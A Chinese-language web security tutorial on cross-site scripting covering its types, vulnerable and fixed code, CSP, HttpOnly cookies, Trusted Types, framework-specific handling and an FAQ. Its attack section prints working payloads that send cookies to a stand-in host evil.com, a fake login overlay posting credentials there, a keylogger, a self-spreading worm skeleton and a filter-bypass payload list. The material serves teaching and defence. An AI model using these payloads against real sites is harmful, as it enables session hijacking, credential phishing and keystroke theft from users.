XSS(Cross-Site Scripting)跨站脚本攻击是最常见的 Web 安全漏洞,OWASP Top 10 中常年位居前列。
XSS 是一种代码注入攻击,攻击者将恶意脚本注入到受信任的网站中。当用户浏览该网站时,嵌入的恶意脚本会被执行,从而窃取用户信息或执行恶意操作。
┌─────────┐ 注入恶意脚本 ┌─────────┐
│ 攻击者 │ ───────────────────→ │ 服务器 │
└─────────┘ └─────────┘
│
↓ 存储或反射
┌─────────┐
│ 网页 │
└─────────┘
│
↓ 浏览器执行
┌─────────┐ 执行恶意脚本 ┌─────────┐
│ 攻击者 │ ←─────────────────── │ 用户 │
└─────────┘ 窃取数据 └─────────┘特点:恶意脚本通过 URL 参数传递,服务器将其反射回响应页面。
攻击流程:
1. 攻击者构造恶意 URL
2. 诱导用户点击链接
3. 服务器将恶意脚本反射回页面
4. 浏览器执行恶意脚本漏洞示例:
// 服务端代码(Node.js Express)
app.get('/search', (req, res) => {
const query = req.query.q;
// ❌ 危险:直接输出用户输入
res.send(`<h1>搜索结果:${query}</h1>`);
});
// 攻击 URL
// https://example.com/search?q=<script>alert('XSS')</script>
// ✅ 安全:输出编码
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>搜索结果:${query}</h1>`);
});实际案例:
// 搜索页面漏洞
https://example.com/search?q=<img src=x onerror="fetch('http://evil.com/steal?c='+document.cookie)">
// 错误页面漏洞
https://example.com/error?msg=<script>document.location='http://evil.com/'+document.cookie</script>特点:恶意脚本永久存储在目标服务器上(数据库、文件系统等),每次浏览相关页面都会触发。
攻击流程:
1. 攻击者提交恶意内容
2. 服务器存储恶意脚本
3. 用户浏览包含恶意脚本的页面
4. 浏览器执行恶意脚本漏洞示例:
// 用户评论功能
// ❌ 危险:直接存储和显示
app.post('/comment', (req, res) => {
const comment = req.body.comment;
db.saveComment(comment); // 存储到数据库
});
app.get('/comments', (req, res) => {
const comments = db.getComments();
// 直接输出,未转义
res.render('comments', { comments });
});
// ✅ 安全:输出前转义
app.get('/comments', (req, res) => {
const comments = db.getComments().map(c => ({
...c,
content: escapeHtml(c.content)
}));
res.render('comments', { comments });
});高风险场景:
特点:攻击完全在浏览器端进行,恶意脚本通过操作 DOM 树注入。
攻击流程:
1. 攻击者构造恶意 URL
2. 前端 JavaScript 从 URL 读取数据
3. 不安全地操作 DOM
4. 恶意脚本执行漏洞示例:
// ❌ 危险:从 URL 读取并直接写入 DOM
document.write(location.hash.slice(1));
// ❌ 危险:使用 innerHTML
document.body.innerHTML = location.search.slice(1);
// ❌ 危险:jQuery 不安全方法
$('#output').html(location.hash);
// ✅ 安全:使用安全的 API
document.body.textContent = location.hash.slice(1);
$('#output').text(location.hash);
// ✅ 安全:输出编码
function safeRender(content) {
const div = document.createElement('div');
div.textContent = content;
return div.innerHTML;
}
document.body.innerHTML = safeRender(location.hash.slice(1));| 类型 | 存储位置 | 触发方式 | 持久性 | 危害程度 | 防护难度 |
|---|---|---|---|---|---|
| 反射型 | URL | 点击恶意链接 | 临时 | 中高 | 较易 |
| 存储型 | 服务器 | 浏览相关页面 | 永久 | 高 | 较易 |
| DOM型 | URL/DOM | 前端操作 | 临时 | 中高 | 较难 |
<!-- 基础窃取 -->
<script>
new Image().src = 'http://evil.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
<!-- 带完整信息 -->
<script>
fetch('http://evil.com/steal', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
url: location.href,
userAgent: navigator.userAgent
})
});
</script><!-- 替换登录表单 -->
<script>
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;">
<h2>会话已过期,请重新登录</h2>
<form action="http://evil.com/phish">
<input name="username" placeholder="用户名"><br>
<input name="password" type="password" placeholder="密码"><br>
<button>登录</button>
</form>
</div>
`;
</script><script>
document.addEventListener('keypress', function(e) {
fetch('http://evil.com/keylog?key=' + e.key);
});
</script><!-- 在社交网站中自动发送包含 XSS 的消息 -->
<script>
// 获取 CSRF Token
const token = document.querySelector('meta[name="csrf-token"]').content;
// 发送恶意消息给好友
fetch('/api/send-message', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
to: 'all-friends',
message: '<script>/* 复制自身代码 */</script>',
_csrf: token
})
});
</script><!-- 基础测试 -->
<script>alert(1)</script>
<script>alert(document.domain)</script>
<!-- 绕过过滤 -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<!-- 编码绕过 -->
<img src=x onerror=alert(1)>
<a href="javascript:alert(1)">click</a>
<a href="javascript:alert(1)">click</a>
<!-- 大小写混合 -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>
<!-- 闭合标签 -->
"><script>alert(1)</script>
'><script>alert(1)</script>
<!-- 绕过 CSP -->
<script src="data:text/javascript,alert(1)"></script>
<link rel="import" href="data:text/html,<script>alert(1)</script>">/**
* HTML 实体编码工具
*/
class HtmlEncoder {
constructor() {
this.entityMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
}
// HTML 正文编码
encode(str) {
return String(str).replace(/[&<>"'/]/g, (ch) => this.entityMap[ch]);
}
// HTML 属性编码
encodeAttribute(str) {
return this.encode(str);
}
// URL 参数编码
encodeUrl(str) {
return encodeURIComponent(str);
}
// JavaScript 字符串编码(需配合引号使用)
encodeJs(str) {
return String(str)
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"')
.replace(/'/g, "\\'")
.replace(/</g, '\\u003C')
.replace(/>/g, '\\u003E');
}
// CSS 编码
encodeCss(str) {
return String(str).replace(/[^a-zA-Z0-9]/g, (ch) => '\\' + ch.charCodeAt(0).toString(16) + ' ');
}
}
// 使用示例
const encoder = new HtmlEncoder();
const safeHtml = encoder.encode(userInput);
const safeAttr = encoder.encodeAttribute(userInput);
const safeUrl = encoder.encodeUrl(userInput);
const safeJs = encoder.encodeJs(userInput);// HTML 上下文
<div>${encoder.encode(userInput)}</div>
// HTML 属性上下文
<div data-value="${encoder.encodeAttribute(userInput)}"></div>
<input value="${encoder.encodeAttribute(userInput)}">
// URL 参数上下文
<a href="/search?q=${encoder.encodeUrl(userInput)}">搜索</a>
// JavaScript 上下文
<script>
var name = "${encoder.encodeJs(userInput)}";
</script>
// CSS 上下文
<style>
.element::after { content: "${encoder.encodeCss(userInput)}"; }
</style>// ==================== 不安全的 API ====================
// ❌ innerHTML - 执行 HTML 和脚本
element.innerHTML = userInput;
// ❌ outerHTML - 执行 HTML 和脚本
element.outerHTML = userInput;
// ❌ document.write - 完全不安全
document.write(userInput);
// ❌ eval - 执行任意代码
eval(userInput);
// ✅ textContent - 仅作为纯文本处理
element.textContent = userInput;
// ✅ createTextNode - 创建文本节点
element.appendChild(document.createTextNode(userInput));
// ✅ jQuery text() - 等同于 textContent
$(element).text(userInput);# 基础 CSP 配置
Content-Security-Policy: default-src 'self'
# 完整 CSP 配置
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-abc123' https://cdn.example.com;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
font-src 'self' https://fonts.gstatic.com;
frame-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'self';
# 报告模式(测试用)
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report使用 nonce 处理内联脚本:
// 服务端生成 nonce
const crypto = require('crypto');
const nonce = crypto.randomBytes(16).toString('base64');
// 设置 CSP 头
res.setHeader(
'Content-Security-Policy',
`script-src 'self' 'nonce-${nonce}'`
);
// 模板中使用 nonce
res.render('page', { nonce });<!-- HTML 模板 -->
<script nonce="<%= nonce %>">
console.log('安全的内联脚本');
</script># 服务端设置安全 Cookie
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/
# Node.js Express 示例
res.cookie('session', token, {
httpOnly: true, # JavaScript 无法读取
secure: true, # 仅 HTTPS 传输
sameSite: 'strict', # 防止 CSRF
maxAge: 3600000, # 1 小时过期
path: '/'
});/**
* 输入验证和过滤工具
*/
class InputFilter {
/**
* 白名单验证
*/
static validate(value, pattern) {
if (!pattern.test(value)) {
throw new Error('输入格式无效');
}
return value;
}
/**
* 移除危险标签
*/
static stripTags(str) {
return String(str).replace(/<[^>]*>/g, '');
}
/**
* 移除事件属性(on*)
*/
static stripEvents(str) {
return String(str).replace(/\son\w+\s*=\s*("[^"]*"|'[^']*'|[^\s>]+)/gi, '');
}
/**
* HTML 实体编码
*/
static escapeHtml(str) {
const map = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' };
return String(str).replace(/[&<>"']/g, (ch) => map[ch]);
}
/**
* 过滤并编码
*/
static sanitize(str) {
return this.escapeHtml(this.stripTags(str));
}
}
// 使用示例
const username = InputFilter.validate(userInput, /^[a-zA-Z0-9_]{3,20}$/);
const safeComment = InputFilter.sanitize(commentInput);Trusted Types API 是防止 DOM 型 XSS 的重要安全机制,它要求所有危险的 DOM Sink(如 innerHTML、eval())只能接受经过安全处理的特殊类型,而非普通字符串:
// ❌ 不安全:直接使用字符串(会被 Trusted Types 阻止)
element.innerHTML = userInput // TypeError: Failed to set the 'innerHTML' property
// ✅ 安全:通过 Trusted Types 策略创建安全内容
const escapePolicy = trustedTypes.createPolicy('escape-policy', {
createHTML: (input) => {
return input
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
}
})
element.innerHTML = escapePolicy.createHTML(userInput) // ✅ 允许
// ✅ 使用 DOMPurify 策略
const sanitizePolicy = trustedTypes.createPolicy('sanitize-policy', {
createHTML: (input) => DOMPurify.sanitize(input)
})
element.innerHTML = sanitizePolicy.createHTML(userInput) // ✅ 允许CSP 配置启用 Trusted Types:
# 报告模式(推荐先使用此模式测试)
Content-Security-Policy: require-trusted-types-for 'script'; report-uri /csp-report
# 强制模式
Content-Security-Policy: trusted-types escape-policy sanitize-policy; require-trusted-types-for 'script'Trusted Types 保护的 DOM Sink:
| DOM Sink | 危险操作 | Trusted Types 要求 |
|---|---|---|
element.innerHTML | 插入 HTML | 需要 createHTML() |
document.write() | 写入文档 | 需要 createHTML() |
eval() | 执行代码 | 需要 createScript() |
script.src | 加载脚本 | 需要 createScriptURL() |
setTimeout(string) | 定时执行 | 需要 createScript() |
Permissions API 提供了统一的方式来查询和监听浏览器权限状态:
// 查询权限状态
const status = await navigator.permissions.query({ name: "geolocation" })
console.log(status.state) // "granted" | "denied" | "prompt"
// 监听权限变化
status.addEventListener("change", () => {
console.log("权限状态变更:", status.state)
})
// 常用权限查询
const permissions = [
{ name: "geolocation" },
{ name: "notifications" },
{ name: "camera" },
{ name: "microphone" },
{ name: "clipboard-read" },
{ name: "clipboard-write" },
{ name: "persistent-storage" }
]
for (const perm of permissions) {
const result = await navigator.permissions.query(perm)
console.log(`${perm.name}: ${result.state}`)
}// React 默认转义 HTML
function SafeComponent({ userInput }) {
// ✅ 安全:React 自动转义
return <div>{userInput}</div>;
}
// ❌ 危险:dangerouslySetInnerHTML
function DangerousComponent({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
}
// ✅ 安全:配合 DOMPurify 使用
import DOMPurify from 'dompurify';
function SanitizedComponent({ richText }) {
const sanitized = DOMPurify.sanitize(richText, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'],
ALLOWED_ATTR: ['href']
});
return (
<div
className="rich-text"
dangerouslySetInnerHTML={{ __html: sanitized }}
/>
);
}<template>
<!-- ✅ 安全:Vue 自动转义 -->
<div>{{ userInput }}</div>
<!-- ❌ 危险:v-html -->
<div v-html="userInput"></div>
<!-- ✅ 安全:配合 DOMPurify -->
<div v-html="sanitizedHtml"></div>
</template>
<script>
import DOMPurify from 'dompurify';
export default {
props: ['userInput'],
computed: {
sanitizedHtml() {
return DOMPurify.sanitize(this.userInput, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em'],
ALLOWED_ATTR: []
});
}
}
};
</script>// Angular 默认转义 HTML
@Component({
template: `
<!-- ✅ 安全:Angular 自动转义 -->
<div>{{ userInput }}</div>
<!-- ❌ 危险:[innerHTML] -->
<div [innerHTML]="userInput"></div>
<!-- ✅ 安全:使用 DomSanitizer -->
<div [innerHTML]="sanitizedHtml"></div>
`
})
export class SafeComponent {
@Input() userInput: string;
constructor(private sanitizer: DomSanitizer) {}
get sanitizedHtml(): SafeHtml {
return this.sanitizer.bypassSecurityTrustHtml(
DOMPurify.sanitize(this.userInput)
);
}
}| 工具 | 类型 | 特点 | 适用场景 |
|---|---|---|---|
| OWASP ZAP | 开源 | 全面扫描、自动化测试 | 渗透测试 |
| Burp Suite | 商业 | 专业级渗透测试工具 | 安全审计 |
| XSSer | 开源 | 专门的 XSS 扫描器 | XSS 检测 |
| Arachni | 开源 | Web 漏洞扫描框架 | CI/CD 集成 |
// XSS 测试载荷集合
const xssPayloads = [
// 基础测试
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'<svg onload=alert(1)>',
'<body onload=alert(1)>',
// 事件处理器
'<div onmouseover="alert(1)">',
'<input onfocus="alert(1)" autofocus>',
'<marquee onstart="alert(1)">',
// 编码绕过
'<img src=x onerror=alert(1)>',
'<a href="javascript:alert(1)">click</a>'
];
// 对多个入口批量测试
async function scanEndpoints(endpoints) {
const results = [];
for (const endpoint of endpoints) {
for (const payload of xssPayloads) {
const result = await testPayload(endpoint, payload);
results.push(result);
}
}
return results;
}// 检测 XSS 过滤器
function detectXSSFilter() {
const features = {
xssFilter: false,
csp: false,
xssProtection: false
};
// 检查 CSP
const csp = document.querySelector('meta[http-equiv="Content-Security-Policy"]');
features.csp = !!csp;
// 检查安全头(需要服务端配合)
// ...
return features;
}
// XSS 漏洞检测报告
function generateSecurityReport() {
return {
url: location.href,
cookies: document.cookie.split(';').length,
localStorage: Object.keys(localStorage).length,
sessionStorage: Object.keys(sessionStorage).length,
features: detectXSSFilter(),
timestamp: new Date().toISOString()
};
}漏洞代码:
// 服务端 - 不安全的评论处理
app.post('/api/comment', (req, res) => {
const { content, userId } = req.body;
// 直接存储,未净化
db.query(
'INSERT INTO comments (user_id, content) VALUES (?, ?)',
[userId, content]
);
res.json({ success: true });
});
// 前端 - 不安全的显示
function renderComments(comments) {
const html = comments.map(c => `
<div class="comment">
<p>${c.content}</p>
<span>${c.username}</span>
</div>
`).join('');
document.getElementById('comments').innerHTML = html;
}修复方案:
import DOMPurify from 'dompurify';
// 服务端 - 存储前净化
app.post('/api/comment', (req, res) => {
const { content, userId } = req.body;
// 净化内容
const cleanContent = DOMPurify.sanitize(content, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'],
ALLOWED_ATTR: ['href', 'title']
});
db.saveComment(cleanContent);
res.json({ success: true });
});
// 前端 - 安全显示(避免 innerHTML 拼接)
function renderComments(comments) {
const container = document.getElementById('comments');
container.textContent = '';
comments.forEach(c => {
const div = document.createElement('div');
div.className = 'comment';
const p = document.createElement('p');
p.textContent = c.content;
const span = document.createElement('span');
span.textContent = c.username;
div.appendChild(p);
div.appendChild(span);
container.appendChild(div);
});
}漏洞代码:
// 从 URL 获取搜索关键词并显示
function showSearchResult() {
const query = new URLSearchParams(location.search).get('q');
document.getElementById('result').innerHTML = `搜索:${query}`;
}
// 攻击 URL
// https://example.com/search?q=<img src=x onerror=alert(1)>修复方案:
function showSearchResult() {
const query = new URLSearchParams(location.search).get('q');
// 方案1:使用 textContent
document.getElementById('result').textContent = `搜索:${query}`;
// 方案2:输出编码
const encoded = encoder.encode(query);
document.getElementById('result').innerHTML = `搜索:${encoded}`;
// 方案3:创建文本节点
const result = document.getElementById('result');
result.textContent = '';
result.appendChild(document.createTextNode(`搜索:${query}`));
}回答:使用专业的 HTML 净化库,如 DOMPurify。
import DOMPurify from 'dompurify';
// 配置允许的标签和属性
const clean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 'a', 'ul', 'ol', 'li', 'img'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'class'],
ALLOW_DATA_ATTR: false,
ADD_ATTR: ['target'], // 允许 target 属性
FORBID_TAGS: ['script', 'style', 'iframe', 'object', 'embed'],
FORBID_ATTR: ['onerror', 'onload', 'onclick']
});
// 使用
element.innerHTML = clean;回答:不是。XSS 防护需要前后端配合:
多层防护才能确保安全。
回答:不能。HttpOnly 只能防止 JavaScript 读取 Cookie,但攻击者仍可以:
建议:HttpOnly 应与其他防护措施配合使用。
回答:推荐使用 nonce 或 hash 方式:
# nonce 方式(推荐)
Content-Security-Policy: script-src 'self' 'nonce-abc123'
# hash 方式
Content-Security-Policy: script-src 'self' 'sha256-xxx'<!-- nonce 方式 -->
<script nonce="abc123">
console.log('安全');
</script>避免使用 'unsafe-inline',这会大幅降低 CSP 的防护效果。
回答:可以采用以下方法:
回答:存储型 XSS 的特点:
回答:DOM 型 XSS 完全在前端发生,防护要点:
// 1. 避免使用危险 API
// ❌ document.write()
// ❌ element.innerHTML
// ❌ eval()
// 2. 使用安全的 API
// ✅ element.textContent
// ✅ element.innerText
// 3. 对动态内容进行编码
function safeRender(content) {
const div = document.createElement('div');
div.textContent = content;
return div.innerHTML;
}
// 4. 严格验证 URL 来源
const allowedOrigins = ['https://example.com'];
function isAllowedOrigin(url) {
try {
const { origin } = new URL(url, location.origin);
return allowedOrigins.includes(origin);
} catch {
return false;
}
}💡 提示:永远不要信任用户输入,始终进行输出编码。XSS 防护是一个多层次的过程,需要前后端配合,结合 CSP、输入验证、输出编码等多种手段。